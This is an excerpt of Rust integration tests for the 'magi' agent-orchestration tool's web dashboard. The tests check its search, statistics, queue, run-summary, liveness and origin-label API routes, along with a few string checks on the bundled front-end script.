12260    async fn search_caps_hits_and_snippet_length() {
12261        let f = Fixture::start().await;
12262        let runs = f.runs();
12263        for n in 0..(SEARCH_MAX_HITS + 5) {
12264            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
12265        }
12266        let v = f.get("/api/search?scope=runs&q=web").await.json();
12267        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
12268        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
12269        assert_eq!(v["truncated"], true);
12270        // Every listed run hit carries its list row for the page's filters.
12271        assert!(
12272            v["hits"]
12273                .as_array()
12274                .unwrap()
12275                .iter()
12276                .all(|h| h["run"]["status"] == "merged")
12277        );
12278
12279        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
12280        let parts = snippet_of(&long, &["needle".to_owned()]);
12281        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
12282        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
12283        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
12284    }
12285
12286    #[tokio::test]
12287    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
12288        let f = Fixture::start().await;
12289        let queue = f.queue();
12290        let mut t = Task::new(
12291            "short title".to_owned(),
12292            "line one\nthe hidden Armadillo detail".to_owned(),
12293            PathBuf::from("/repo/magi"),
12294            Source::Agent {
12295                run: "r1".to_owned(),
12296                node: "chat".to_owned(),
12297            },
12298        );
12299        t.last_error = Some("disk full on /tmp".to_owned());
12300        queue.put(&mut t).expect("file the task");
12301
12302        for (q, want) in [
12303            ("armadillo", 1),
12304            ("disk%20FULL", 1),
12305            ("chat", 1),
12306            ("queued", 1),
12307            ("short%20nothing", 0),
12308        ] {
12309            let v = f
12310                .get(&format!("/api/search?scope=tasks&q={q}"))
12311                .await
12312                .json();
12313            assert_eq!(v["total"], want, "{q}: {v}");
12314        }
12315        for bad in [
12316            "/api/search?scope=tasks&q=",
12317            "/api/search?scope=tasks&q=%20",
12318            "/api/search?scope=chats&q=",
12319            "/api/search?scope=chats&q=%20",
12320            "/api/search?scope=nope&q=a",
12321            "/api/search?q=a",
12322        ] {
12323            assert_eq!(f.get(bad).await.status, 400, "{bad}");
12324        }
12325    }
12326
12327    /// Write one conversation file the way the store reads it back.
12328    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
12329        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
12330            .expect("seat value");
12331        let turns: Vec<serde_json::Value> = turns
12332            .iter()
12333            .map(|(who, body)| {
12334                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
12335            })
12336            .collect();
12337        let doc = serde_json::json!({
12338            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
12339            "status": status, "turns": turns,
12340            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
12341            "seat": seat,
12342        });
12343        let dir = f.home.path().join("talks");
12344        std::fs::create_dir_all(&dir).expect("talks dir");
12345        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
12346    }
12347
12348    #[tokio::test]
12349    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
12350        let f = Fixture::start().await;
12351        write_talk(
12352            &f,
12353            "20260901-000001-aaaa",
12354            "open",
12355            &[
12356                (
12357                    "operator",
12358                    "\n  Why does the Pangolin cache expire?\nsecond line",
12359                ),
12360                ("agent", "Because the TTL is thirty seconds."),
12361            ],
12362        );
12363        write_talk(
12364            &f,
12365            "20260901-000002-bbbb",
12366            "closed",
12367            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
12368        );
12369        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
12370
12371        let search = |q: &'static str| {
12372            let f = &f;
12373            async move {
12374                f.get(&format!("/api/search?scope=chats&q={q}"))
12375                    .await
12376                    .json()
12377            }
12378        };
12379
12380        let v = search("PANGOLIN").await;
12381        assert_eq!(v["scope"], "chats");
12382        assert_eq!(v["total"], 1, "{v}");
12383        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
12384        assert_eq!(v["hits"][0]["field"], "title");
12385        assert_eq!(v["unreadable"], 1, "{v}");
12386        let marked: Vec<&str> = v["hits"][0]["snippet"]
12387            .as_array()
12388            .unwrap()
12389            .iter()
12390            .filter(|p| p["hit"] == true)
12391            .map(|p| p["text"].as_str().unwrap())
12392            .collect();
12393        assert_eq!(marked, ["Pangolin"]);
12394
12395        // An agent turn, in a closed conversation.
12396        let v = search("zebra").await;
12397        assert_eq!(v["total"], 1, "{v}");
12398        assert_eq!(v["hits"][0]["field"], "agent");
12399        // Words may sit in different turns; all must be present.
12400        assert_eq!(search("pangolin%20thirty").await["total"], 1);
12401        assert_eq!(search("pangolin%20zebra").await["total"], 0);
12402        // Bookkeeping is not searched.
12403        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12404            assert_eq!(search(q).await["total"], 0, "{q}");
12405        }
12406        // The first line only is the title; the second line is still a turn.
12407        assert_eq!(search("second").await["hits"][0]["field"], "operator");
12408        // Open conversations are listed before closed ones.
12409        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12410
12411        let v = f.get("/api/search?scope=nope&q=a").await;
12412        assert_eq!(v.status, 400);
12413        assert!(
12414            v.body.contains("scope must be runs, tasks or chats"),
12415            "{}",
12416            v.body
12417        );
12418    }
12419
12420    #[test]
12421    fn a_question_card_links_a_task_id_to_the_task_page() {
12422        let start = APP_JS
12423            .find("function updateAskCard(")
12424            .expect("updateAskCard exists");
12425        let body = &APP_JS[start..];
12426        let body = &body[..body.find("\n}\n").expect("function end")];
12427        assert!(body.contains("question.run_is_task"));
12428        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12429        assert!(body.contains("`#/runs/${question.run}`"));
12430        assert!(body.contains("\"task\" : \"run\""));
12431    }
12432
12433    #[test]
12434    fn plain_text_message_surfaces_go_through_linkify() {
12435        assert!(APP_JS.contains("function linkify("));
12436        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12437        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12438        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12439        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12440        assert!(!APP_JS.contains("innerHTML = text"));
12441    }
12442
12443    #[test]
12444    fn stats_bars_share_one_id_keyed_plan() {
12445        let start = APP_JS
12446            .find("function statsBarRows(")
12447            .expect("statsBarRows exists");
12448        let body = &APP_JS[start..];
12449        let body = &body[..body.find("\n}\n").expect("function end")];
12450        assert!(body.contains("statsBarPlan(rows)"));
12451        assert!(body.contains("statsAgentTone(row.agent)"));
12452        assert!(!body.contains("candTone(i)"));
12453        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12454        for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12455            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12456        }
12457    }
12458
12459    #[test]
12460    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12461        let start = APP_JS
12462            .find("function renderStatsReviewerScatter(")
12463            .expect("renderStatsReviewerScatter exists");
12464        let body = &APP_JS[start..];
12465        let body = &body[..body.find("\n}\n").expect("function end")];
12466        assert!(body.contains("statsScatterPlan(reviewers)"));
12467        assert!(body.contains("statsAgentTone(d.agent)"));
12468        assert!(APP_JS.contains("function statsScatterPlan("));
12469        assert!(
12470            APP_JS.contains("d.submitted < STATS_LOW_N")
12471                || APP_JS.contains("r.submitted < STATS_LOW_N")
12472        );
12473        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12474        assert!(APP_CSS.contains(".precision-scatter"));
12475    }
12476
12477    #[test]
12478    fn advisor_reflection_is_drawn_as_stacked_segments() {
12479        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12480        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12481        let html = include_str!("../assets/ui/index.html");
12482        assert!(html.contains("Approximate"));
12483        for label in ["reflected strongly", "faint", "no proposal"] {
12484            assert!(html.contains(label));
12485        }
12486        let css = include_str!("../assets/ui/app.css");
12487        for c in ["refl-strong", "refl-faint", "refl-absent"] {
12488            assert!(css.contains(&format!(".{c} {{")));
12489        }
12490    }
12491
12492    #[test]
12493    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12494        assert!(APP_JS.contains("function statsDailyPlan("));
12495        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12496        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12497    }
12498
12499    #[test]
12500    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12501        let start = APP_JS
12502            .find("function scheduleSearch(")
12503            .expect("scheduleSearch exists");
12504        let body = &APP_JS[start..];
12505        let body = &body[..body.find("\n}\n").expect("function end")];
12506        assert!(body.contains("s.seq += 1"));
12507    }
12508
12509    /// The dashboard reads every run's state itself rather than trusting a
12510    /// separately-maintained count, so an unreadable run must be counted the
12511    /// same way `/api/health` counts it - never silently dropped the way the
12512    /// CLI's own `stats::load_all` drops it.
12513    #[tokio::test]
12514    async fn stats_runs_unreadable_matches_health() {
12515        let f = Fixture::start().await;
12516        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12517        let broken = f.runs().join("20260902-140502-bad");
12518        std::fs::create_dir_all(&broken).expect("run dir");
12519        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12520
12521        let stats = f.get("/api/stats").await;
12522        let health = f.get("/api/health").await;
12523
12524        assert_eq!(stats.status, 200);
12525        assert_eq!(stats.json()["totals"]["runs"], 1);
12526        assert_eq!(stats.json()["runs_unreadable"], 1);
12527        assert_eq!(
12528            stats.json()["runs_unreadable"],
12529            health.json()["runs_unreadable"],
12530            "the dashboard and /api/health must never disagree about how many \
12531             runs could not be read"
12532        );
12533    }
12534
12535    #[tokio::test]
12536    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12537        let f = Fixture::start().await;
12538        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12539        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12540        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12541
12542        let totals = &f.get("/api/stats").await.json()["totals"];
12543        assert_eq!(totals["runs"], 3);
12544        assert_eq!(totals["merged"], 1);
12545        assert_eq!(totals["stalled"], 1);
12546        assert_eq!(totals["in_progress"], 1);
12547        // A stalled run must never read as blocked/merged/ready - it is its
12548        // own bucket, not folded into a "decided" one.
12549        assert_eq!(totals["blocked"], 0);
12550        assert_eq!(totals["ready"], 0);
12551    }
12552
12553    #[tokio::test]
12554    async fn stats_advisors_report_proposals_and_reflection() {
12555        use crate::advise::{Advice, AdvisorRecord, Reflection};
12556        use crate::verdict::Proposal;
12557
12558        let f = Fixture::start().await;
12559        let mut state = RunState::new(
12560            PathBuf::from("/repo/magi"),
12561            "main".to_owned(),
12562            "0123456789abcdef".to_owned(),
12563            "task".to_owned(),
12564            Config::default(),
12565        );
12566        state.id = "20260902-140501-a".to_owned();
12567        state.status = RunStatus::Merged;
12568        state.advice = Some(Advice {
12569            records: vec![
12570                AdvisorRecord {
12571                    seat: "advisor-1".to_owned(),
12572                    agent: "alpha".to_owned(),
12573                    proposal: Some(Proposal {
12574                        approach: "do it".to_owned(),
12575                        key_tradeoff: "speed over memory".to_owned(),
12576                        risks: Vec::new(),
12577                        touches: Vec::new(),
12578                        why_not_naive: "breaks under load".to_owned(),
12579                    }),
12580                    error: None,
12581                    duration_ms: 0,
12582                    reflection: Reflection::Strong,
12583                },
12584                AdvisorRecord {
12585                    seat: "advisor-2".to_owned(),
12586                    agent: "alpha".to_owned(),
12587                    proposal: None,
12588                    error: Some("timed out".to_owned()),
12589                    duration_ms: 0,
12590                    reflection: Reflection::Absent,
12591                },
12592            ],
12593            synthesis: Some("blended brief".to_owned()),
12594        });
12595        let dir = f.runs().join(&state.id);
12596        std::fs::create_dir_all(&dir).expect("run dir");
12597        std::fs::write(
12598            dir.join("run.json"),
12599            serde_json::to_string_pretty(&state).expect("serialize run"),
12600        )
12601        .expect("write run.json");
12602
12603        // `alpha` is in no roster here; this test is about the rates.
12604        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12605        let alpha = advisors
12606            .as_array()
12607            .expect("an array")
12608            .iter()
12609            .find(|a| a["agent"] == "alpha")
12610            .expect("alpha row");
12611        assert_eq!(alpha["seated"], 2);
12612        assert_eq!(alpha["proposed"], 1);
12613        assert_eq!(alpha["absent"], 1);
12614        assert_eq!(alpha["strong"], 1);
12615        assert_eq!(alpha["faint"], 0);
12616        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12617    }
12618
12619    #[tokio::test]
12620    async fn stats_hides_agents_outside_the_roster_unless_all() {
12621        use crate::run::Candidate;
12622        let repo = TempDir::new().expect("repo dir");
12623        std::fs::write(
12624            repo.path().join("magi.toml"),
12625            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12626        )
12627        .expect("magi.toml");
12628        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12629        let mut state = RunState::new(
12630            PathBuf::from("/repo/magi"),
12631            "main".to_owned(),
12632            "0123456789abcdef".to_owned(),
12633            "task".to_owned(),
12634            Config::default(),
12635        );
12636        state.id = "20260902-140501-a".to_owned();
12637        state.status = RunStatus::Merged;
12638        for (label, agent) in [('A', "keep"), ('B', "retired")] {
12639            let mut c: Candidate = serde_json::from_value(serde_json::json!({
12640                "index": 0, "label": label.to_string(), "agent": agent,
12641                "branch": "b", "worktree": "/w",
12642            }))
12643            .expect("candidate");
12644            c.label = label;
12645            state.candidates.push(c);
12646        }
12647        let dir = f.runs().join(&state.id);
12648        std::fs::create_dir_all(&dir).expect("run dir");
12649        std::fs::write(
12650            dir.join("run.json"),
12651            serde_json::to_string_pretty(&state).expect("serialize run"),
12652        )
12653        .expect("write run.json");
12654
12655        let agents_of = |v: &serde_json::Value| -> Vec<String> {
12656            v["agents"]
12657                .as_array()
12658                .expect("array")
12659                .iter()
12660                .map(|a| a["agent"].as_str().unwrap().to_owned())
12661                .collect()
12662        };
12663        let hidden = f.get("/api/stats").await.json();
12664        assert_eq!(agents_of(&hidden), ["keep"]);
12665        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12666        assert_eq!(hidden["totals"]["runs"], 1);
12667
12668        let all = f.get("/api/stats?all=true").await.json();
12669        assert_eq!(agents_of(&all).len(), 2);
12670        assert_eq!(all["retired_hidden"], serde_json::json!([]));
12671    }
12672
12673    #[tokio::test]
12674    async fn stats_release_bumps_split_clean_from_attention() {
12675        use crate::run::ReleaseBump;
12676
12677        let f = Fixture::start().await;
12678
12679        let mut clean = RunState::new(
12680            PathBuf::from("/repo/magi"),
12681            "main".to_owned(),
12682            "0123456789abcdef".to_owned(),
12683            "task".to_owned(),
12684            Config::default(),
12685        );
12686        clean.id = "20260902-140501-a".to_owned();
12687        clean.status = RunStatus::Merged;
12688        clean.release_bump = Some(ReleaseBump {
12689            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12690            version: Some("1.0.0".to_owned()),
12691            automerge_enabled: true,
12692            merged_directly: false,
12693            local: false,
12694            release: None,
12695            problem: None,
12696            action_required: None,
12697        });
12698
12699        let mut blocked = RunState::new(
12700            PathBuf::from("/repo/magi"),
12701            "main".to_owned(),
12702            "0123456789abcdef".to_owned(),
12703            "task".to_owned(),
12704            Config::default(),
12705        );
12706        blocked.id = "20260902-140502-b".to_owned();
12707        blocked.status = RunStatus::Merged;
12708        blocked.release_bump = Some(ReleaseBump {
12709            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12710            version: Some("1.0.1".to_owned()),
12711            automerge_enabled: false,
12712            merged_directly: false,
12713            local: false,
12714            release: None,
12715            problem: Some("checks red".to_owned()),
12716            action_required: Some("look at the PR".to_owned()),
12717        });
12718
12719        for state in [&clean, &blocked] {
12720            let dir = f.runs().join(&state.id);
12721            std::fs::create_dir_all(&dir).expect("run dir");
12722            std::fs::write(
12723                dir.join("run.json"),
12724                serde_json::to_string_pretty(state).expect("serialize run"),
12725            )
12726            .expect("write run.json");
12727        }
12728
12729        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12730        assert_eq!(bumps["merged"], 2);
12731        assert_eq!(bumps["recorded"], 2);
12732        assert_eq!(bumps["pr_opened"], 2);
12733        assert_eq!(bumps["automerge_enabled"], 1);
12734        assert_eq!(bumps["needs_attention"], 1);
12735        assert_eq!(bumps["clean"], 1);
12736        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12737        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12738    }
12739
12740    #[tokio::test]
12741    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12742        let f = Fixture::start().await;
12743        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12744
12745        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12746        assert_eq!(bumps["merged"], 1);
12747        assert_eq!(bumps["recorded"], 0);
12748        // `merged` is nonzero, so coverage still reads as a real 0%, not an
12749        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
12750        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12751        // `pr_opened` and `recorded` are both zero here, so these rates have
12752        // no denominator to compute from and must be null.
12753        assert_eq!(bumps["automerge_rate"], Value::Null);
12754        assert_eq!(bumps["attention_rate"], Value::Null);
12755    }
12756
12757    #[tokio::test]
12758    async fn stats_queue_counts_come_from_the_live_queue() {
12759        let f = Fixture::start().await;
12760        let q = f.queue();
12761        let mut queued = Task::new(
12762            "queued task".to_owned(),
12763            "do it".to_owned(),
12764            PathBuf::from("/repo"),
12765            Source::Human,
12766        );
12767        q.put(&mut queued).expect("put queued");
12768        let mut held = Task::new(
12769            "held task".to_owned(),
12770            "do it later".to_owned(),
12771            PathBuf::from("/repo"),
12772            Source::Human,
12773        );
12774        held.hold_machine(Some("out of attempts".to_owned()));
12775        q.put(&mut held).expect("put held");
12776
12777        let queue = f.get("/api/stats").await.json()["queue"].clone();
12778        assert_eq!(queue["queued"], 1);
12779        assert_eq!(queue["held"], 1);
12780        assert_eq!(queue["running"], 0);
12781        assert_eq!(queue["done"], 0);
12782        assert_eq!(queue["failed"], 0);
12783        assert_eq!(queue["blocked"], 0);
12784    }
12785
12786    #[tokio::test]
12787    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12788        let f = Fixture::start().await;
12789        let stats = f.get("/api/stats").await;
12790        assert_eq!(stats.status, 200);
12791        assert_eq!(stats.json()["totals"]["runs"], 0);
12792        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12793        assert_eq!(stats.json()["runs_unreadable"], 0);
12794        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12795        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12796        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12797        assert_eq!(stats.json()["repo"], Value::Null);
12798    }
12799
12800    #[tokio::test]
12801    async fn stats_lists_every_repository_with_runs_recorded() {
12802        let f = Fixture::start().await;
12803        write_run_repo(
12804            &f.runs(),
12805            "20260902-140501-a",
12806            RunStatus::Merged,
12807            "/repos/a",
12808        );
12809        write_run_repo(
12810            &f.runs(),
12811            "20260902-140502-b",
12812            RunStatus::Merged,
12813            "/repos/a",
12814        );
12815        write_run_repo(
12816            &f.runs(),
12817            "20260902-140503-c",
12818            RunStatus::Blocked,
12819            "/repos/b",
12820        );
12821
12822        let stats = f.get("/api/stats").await;
12823        assert_eq!(stats.status, 200);
12824        // Unfiltered - the aggregate across both repositories.
12825        assert_eq!(stats.json()["totals"]["runs"], 3);
12826        assert_eq!(stats.json()["repo"], Value::Null);
12827
12828        let repos = stats.json()["repos"].clone();
12829        let repos = repos.as_array().unwrap();
12830        assert_eq!(repos.len(), 2);
12831        // Busiest (2 runs) first.
12832        assert_eq!(repos[0]["repo"], "/repos/a");
12833        assert_eq!(repos[0]["name"], "a");
12834        assert_eq!(repos[0]["runs"], 2);
12835        assert_eq!(repos[1]["repo"], "/repos/b");
12836        assert_eq!(repos[1]["runs"], 1);
12837    }
12838
12839    #[tokio::test]
12840    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12841        let f = Fixture::start().await;
12842        write_run_repo(
12843            &f.runs(),
12844            "20260902-140501-a",
12845            RunStatus::Merged,
12846            "/repos/a",
12847        );
12848        write_run_repo(
12849            &f.runs(),
12850            "20260902-140502-b",
12851            RunStatus::Blocked,
12852            "/repos/b",
12853        );
12854
12855        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12856        assert_eq!(stats.status, 200);
12857        assert_eq!(stats.json()["totals"]["runs"], 1);
12858        assert_eq!(stats.json()["totals"]["merged"], 1);
12859        assert_eq!(stats.json()["repo"], "/repos/a");
12860        // The repository list itself is unaffected by the filter - it is
12861        // what a client switches repositories from.
12862        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12863        // runs_unreadable is a whole-workload count, never scoped to the
12864        // selected repository - see StatsView::runs_unreadable's own doc.
12865        assert_eq!(stats.json()["runs_unreadable"], 0);
12866    }
12867
12868    #[tokio::test]
12869    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12870        let f = Fixture::start().await;
12871        write_run_repo(
12872            &f.runs(),
12873            "20260902-140501-a",
12874            RunStatus::Merged,
12875            "/repos/a",
12876        );
12877        write_run_repo(
12878            &f.runs(),
12879            "20260902-140502-b",
12880            RunStatus::Merged,
12881            "/repos/b",
12882        );
12883
12884        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12885            let json = f.get(uri).await.json();
12886            let daily = json["daily"].as_array().expect("daily is an array");
12887            assert_eq!(daily.len(), 30);
12888            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12889            let mut sorted = dates.clone();
12890            sorted.sort();
12891            assert_eq!(dates, sorted);
12892            for d in daily {
12893                assert_eq!(
12894                    d["merged"].as_u64().unwrap()
12895                        + d["ready"].as_u64().unwrap()
12896                        + d["other"].as_u64().unwrap(),
12897                    d["runs"].as_u64().unwrap()
12898                );
12899            }
12900            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12901        }
12902    }
12903
12904    #[tokio::test]
12905    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12906        let f = Fixture::start().await;
12907        write_run_repo(
12908            &f.runs(),
12909            "20260902-140501-a",
12910            RunStatus::Merged,
12911            "/repos/a",
12912        );
12913
12914        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12915        assert_eq!(stats.status, 404);
12916    }
12917
12918    #[tokio::test]
12919    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12920        let f = Fixture::start().await;
12921        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12922
12923        let summary = f.get("/api/runs").await.json();
12924        let row = &summary[0];
12925        assert_eq!(row["short"], "a1b2");
12926        assert_eq!(row["status"], "ready");
12927        assert_eq!(row["done"], true);
12928        assert_eq!(row["title"], "Add a web UI");
12929        assert_eq!(row["repo_name"], "magi");
12930        assert_eq!(row["judges"], 3);
12931        assert_eq!(row["winner"], Value::Null);
12932        assert_eq!(row["reviews"], 0);
12933
12934        // The short id resolves, and the detail route is the state itself, not
12935        // a projection of it: the UI reads fields the summary does not carry.
12936        let detail = f.get("/api/runs/a1b2").await;
12937        assert_eq!(detail.status, 200);
12938        assert_eq!(detail.json()["base_branch"], "main");
12939        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12940    }
12941
12942    /// `status: "ready"` alone cannot tell a run still headed for a landing
12943    /// (a PR closed without merging, say) apart from one `[merge] mode =
12944    /// "none"` left unmerged for good — the confusion the operator flagged
12945    /// after the CLI report already grew a `not landed — nothing to do by
12946    /// design` line for exactly this case (`report.rs`). Both the list route
12947    /// and the detail route must carry a flag the phone can key on instead of
12948    /// re-deriving it from `status` + `merge.mode` itself.
12949    #[tokio::test]
12950    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12951        let f = Fixture::start().await;
12952
12953        let mut none_run = RunState::new(
12954            PathBuf::from("/repo/magi"),
12955            "main".to_owned(),
12956            "0123456789abcdef".to_owned(),
12957            "Add a web UI".to_owned(),
12958            Config::default(),
12959        );
12960        none_run.id = "20260902-140503-none".to_owned();
12961        none_run.status = RunStatus::Ready;
12962        none_run.merge = Some(crate::run::MergeOutcome {
12963            mode: crate::config::MergeMode::None,
12964            ok: true,
12965            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12966            empty: false,
12967        });
12968        write_state(&f.runs(), &none_run);
12969
12970        let mut pr_run = RunState::new(
12971            PathBuf::from("/repo/magi"),
12972            "main".to_owned(),
12973            "0123456789abcdef".to_owned(),
12974            "Add a web UI".to_owned(),
12975            Config::default(),
12976        );
12977        pr_run.id = "20260902-140504-prcl".to_owned();
12978        pr_run.status = RunStatus::Ready;
12979        pr_run.merge = Some(crate::run::MergeOutcome {
12980            mode: crate::config::MergeMode::Pr,
12981            ok: false,
12982            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12983            empty: false,
12984        });
12985        write_state(&f.runs(), &pr_run);
12986
12987        let summary = f.get("/api/runs").await.json();
12988        let rows: std::collections::HashMap<&str, &Value> = summary
12989            .as_array()
12990            .expect("an array")
12991            .iter()
12992            .map(|r| (r["id"].as_str().expect("an id"), r))
12993            .collect();
12994        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12995        assert_eq!(
12996            rows[none_run.id.as_str()]["unmerged_by_design"],
12997            true,
12998            "a mode-none Ready must be flagged in the list"
12999        );
13000        assert_eq!(
13001            rows[pr_run.id.as_str()]["unmerged_by_design"],
13002            false,
13003            "a Ready reached by a closed pull request is a different case"
13004        );
13005
13006        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13007        assert_eq!(none_detail["status"], "ready");
13008        assert_eq!(none_detail["unmerged_by_design"], true);
13009
13010        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13011        assert_eq!(pr_detail["unmerged_by_design"], false);
13012    }
13013
13014    /// `RunState::active` is only ever cleared by whoever populated it, so the
13015    /// detail route also has to say whether a daemon is actually still
13016    /// driving this run right now — otherwise a seat from a killed process's
13017    /// last wave would read as live forever.
13018    #[tokio::test]
13019    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13020        let f = Fixture::start().await;
13021        // Matches `write_daemon`'s hard-coded `current.run`, so the second
13022        // half of this test can claim the daemon is working on it without a
13023        // second helper.
13024        let id = "20260902-140502-bbbb";
13025        let mut state = RunState::new(
13026            PathBuf::from("/repo/magi"),
13027            "main".to_owned(),
13028            "0123456789abcdef".to_owned(),
13029            "Add a web UI".to_owned(),
13030            Config::default(),
13031        );
13032        state.id = id.to_owned();
13033        state.status = RunStatus::Judging;
13034        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13035        let dir = f.runs().join(id);
13036        std::fs::create_dir_all(&dir).expect("run dir");
13037        std::fs::write(
13038            dir.join("run.json"),
13039            serde_json::to_string_pretty(&state).expect("serialize run"),
13040        )
13041        .expect("write run.json");
13042
13043        // No daemon.json at all, and no `driver_pid` recorded either (this
13044        // state was written directly, never through `execute()`): there is
13045        // nothing to confirm either way, so the route must say `"unknown"` —
13046        // never `"dead"`, which is exactly the false diagnosis a manual `magi
13047        // run` used to get from this route before `driver_pid` existed.
13048        let cold = f.get(&format!("/api/runs/{id}")).await.json();
13049        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13050        assert_eq!(cold["live"], "unknown", "{cold}");
13051
13052        // A fresh heartbeat naming exactly this run: the same entry now reads
13053        // as confirmed, not merely recorded.
13054        write_daemon(f.home.path(), Timestamp::now());
13055        let warm = f.get(&format!("/api/runs/{id}")).await.json();
13056        assert_eq!(warm["live"], "live", "{warm}");
13057    }
13058
13059    /// Where a run came from is shown, and a run written before origins were
13060    /// recorded (schema 12, no `origin` key) stays readable and says so.
13061    #[tokio::test]
13062    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13063        let f = Fixture::start().await;
13064        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13065            let mut state = RunState::new(
13066                PathBuf::from("/repo/magi"),
13067                "main".to_owned(),
13068                "0123456789abcdef".to_owned(),
13069                "Add a web UI".to_owned(),
13070                Config::default(),
13071            );
13072            state.id = id.to_owned();
13073            state.origin = origin;
13074            let mut value = serde_json::to_value(&state).expect("serialize run");
13075            if let Some(schema) = schema {
13076                value["schema"] = serde_json::json!(schema);
13077                value.as_object_mut().unwrap().remove("origin");
13078            }
13079            let dir = f.runs().join(id);
13080            std::fs::create_dir_all(&dir).expect("run dir");
13081            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
13082        };
13083        write(
13084            "20260930-092817-ec34",
13085            Some(crate::run::Origin::from_agent_env(
13086                Some(("4a7b".to_owned(), "chat".to_owned())),
13087                None,
13088            )),
13089            None,
13090        );
13091        write("20260930-092817-0ld1", None, Some(12));
13092
13093        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
13094        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
13095        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
13096
13097        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
13098        assert_eq!(
13099            old["origin_label"], "origin unknown (started before origins were recorded)",
13100            "{old}"
13101        );
13102        assert!(old["origin"].is_null(), "{old}");
13103
